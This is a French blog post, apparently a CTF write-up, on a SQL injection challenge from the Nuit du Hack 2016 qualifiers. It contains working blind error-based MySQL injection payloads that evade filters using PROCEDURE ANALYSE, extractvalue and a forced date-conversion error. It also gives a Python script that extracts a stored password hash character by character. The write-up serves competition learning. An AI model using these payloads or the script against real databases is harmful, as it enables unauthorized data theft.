Par Geluchat, lun. 04 avril 2016, dans la catégorie L'actualité commentée
Le week-end dernier, j'ai participé aux qualifications de la Nuit du Hack 2016 avec l'équipe khack40. Les 10 premières équipes recevaient des places gratuites pour la Nuit du Hack (début juillet) ainsi que la possibilité de participer au CTF privé lors de l’événement , et comme l'année dernière nous n'avons malheureusement pas réussi à nous qualifier.
Nous avons tout de même atteint la 11ème place (la place ingrate) ce qui est mieux que l'année précédente où après un rush infernal des autres équipes pendant la nuit nous avions finalement fini 28ème.
Comme chaque année le guessing était présent (la stéganographie principalement) mais cela ne m'a pas empêché de trouver des épreuves intéressantes comme l'épreuve de web que je vais vous présenter.
La page est basique, un bon vieux challenge fait avec Bootstrap.
On remarque que tous les articles proposés contiennent les mêmes descriptions, seuls les numéros de CVE et les auteurs semblent changer.
En cliquant sur Older Post on obtient une adresse du type:
http://spacesec.quals.nuitduhack.com/index.php?offset=6
Si on change un peu l'offset on obtient :
Oh un utilisateur qui s'appelle Flag...
Soyons fou, tentons la SQL injection directement :
http://spacesec.quals.nuitduhack.com/index.php?offset=6'
Bon, ça ne marche pas très bien, voyons voir si l'on peut au moins déclencher une erreur SQL:
http://spacesec.quals.nuitduhack.com/index.php?offset=-1
Yeah, une belle erreur SQL !
En résumé, nous avons :
Après un petit temps de réflexion on en vient à deux remarques :
La requête est donc dans le genre:
SELECT * FROM latable ORDER BY rand() LIMIT 3 OFFSET $_GET['offset'];
Quelques recherches sur le web nous permettent de trouver un bypass assez sympathique à coup de procédure SQL.
L'article en question nous parle de l'utilisation de la procédure ANALYSE qui est présente dans mysql de base.
C'est presque trop beau pour être vrai, et... en effet ça l'est !
http://spacesec.quals.nuitduhack.com/index.php?offset=1%a0PRoCEDuRE%a0aNaLYSE%0a(eXtractValue%0a(0,1),1)--
La page ne nous ressort que le numéro de l'erreur...
Alors, que faire pour contourner ce problème?
Eh bien, la réponse est simple, il suffit juste de faire une time-based injection !
Et... ça ne fonctionne pas, l'auteur du challenge à décidé de bloquer les fonctions sleep et benchmark...
Qu'à cela ne tienne, on passe donc par des heavy query !
On récupère plein de fois information_schema pour faire ramer la page et... information_schema est bloqué aussi ?!
Je décide donc d'aller me coucher sur un échec. Ce fut à la fois une bonne et une mauvaise idée :
J'ai trouvé la réponse dans la nuit
Je n'ai pas dormi avant de l'avoir trouvée
De retour le lendemain matin après-midi, je décide de tenter ma trouvaille :
Une SQL injection Boolean Based Into Double Error Based (oui, j'ai inventé le nom, mais ça en jette non?).
J'explique, on va tenter de faire passer une condition dans notre extractvalue, si cette condition est vraie on lui fait faire un convert(9990130101,date), la date étant complétement fausse la fonction plante et retourne NULL, sinon, on retourne 1.
Ce qu'il faut savoir, c'est que la procédure ANALYSE n'aime pas avoir un paramètre à NULL, elle crash donc un message d'erreur 1108 qui signifie "Message: Incorrect parameters to procedure '%s'"
En revanche si on lui envoie 1 en premier paramètre elle nous renvoie juste une erreur 1105 : "Message: Unknown error"
On peut tester avec:
http://spacesec.quals.nuitduhack.com/index.php?offset=1 PRoCEDuRE aNaLYSE ( (selEct exTractvalue (rAnd (),coNcat (0x3a, (case when (substring(1,1,1)=1) then convert(9990130101,date) else 1 end)))),1)--
J'ai remplacé les %0a par des espaces pour un souci de compréhension.
http://spacesec.quals.nuitduhack.com/index.php?offset=1 PRoCEDuRE aNaLYSE ( (selEct exTractvalue (rAnd (),coNcat (0x3a, (case when (substring(1,1,1)!=1) then convert(9990130101,date) else 1 end)))),1)--
A partir de là on peut tout simplement récupérer le mot de passe de l'utilisateur Flag dans la base de données.
Je vous épargne le temps afin de trouver la bonne table avec les bonnes colonnes (totalement au hasard).
Au final, on trouve une table users avec les colonnes id, username et password.
Ni une, ni deux, on code un petit script qui récupère tout ça.
Ayant une petite dent contre la programmation, je vous présente mon modeste script qui n'est pas optimisé mais qui fait le taf' :
#!/usr/bin/env python2
# -*- coding: utf8 -*-
import requests,time
cookie = {'PHPSESSID' : 'cl4r4m0rg4ne1sg00dbUt1pr3f3r3L3xiB3ll3'}
passwd=""
char=48
length=len(passwd)+1
while char!=127:
forge="http://spacesec.quals.nuitduhack.com/index.php?offset=1%a0PRoCEDuRE%a0aNaLYSE%0a(%0a(selEct%0aexTractvalue%0a(rAnd%0a(),coNcat%0a(0x3a,%0a(case%0awhen%0a(substring(%0a(selEct%0apassword%0afRom%0ausers%0awHere%0ausername%0aliKe%0a0x464c4147),"+str(length)+",1)=char("+str(char)+"))%0athen%0aconvert(9990130101,date)%0aelse%0a1%0aend)))),1)--"
resultat=requests.get(forge,cookies=cookie).content
print forge
time.sleep(0.5)
if resultat.find('1108')!=-1 :
passwd+=str(chr(char))
char=47
length+=1
print passwd
char+=1
print "[+] Le password est: "+str(passwd)
On obtient un mot de passe qui ressemble à un hash de 128 caractères en majuscule.
La partie rigolote de l'histoire est que j'ai cherché pendant une bonne demi-heure quoi en faire et au final Mastho, un membre de mon équipe, l'a valider en 5 secondes en m'expliquant qu'il avait juste mis le hash en minuscule...
En définitive, une épreuve bien marrante avec des protections assez funs.
Voilà, c’est déjà terminé, n’hésitez pas à rejoindre mon Twitter pour avoir des news sur le site et mon point de vue sur l’actualité de la sécurité informatique.
Geluchat.